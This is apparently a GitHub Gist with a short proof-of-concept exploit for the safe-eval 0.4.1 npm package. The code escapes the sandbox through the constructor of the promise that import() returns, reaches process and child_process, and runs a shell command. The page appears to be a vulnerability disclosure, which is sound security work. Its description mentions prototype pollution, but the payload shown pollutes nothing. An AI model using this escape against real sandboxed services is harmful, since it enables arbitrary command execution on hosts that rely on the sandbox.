-
-
Save seongil-wi/2db6cb884e10137a93132b7f74879cce to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// node version: 19.8.1 | |
// safe-eval version: 0.4.1 | |
var safeEval = require('safe-eval') | |
let code = ` | |
(function() { | |
let ret = import("XXX"); | |
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); | |
})() | |
` | |
safeEval(code); | |
const polluted_result = {}["polluted"]; | |
console.log(polluted_result); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Description:
Sandbox can be escaped by prototype pollution by calling
import
.Also, we can execute arbitrary shell code using process module.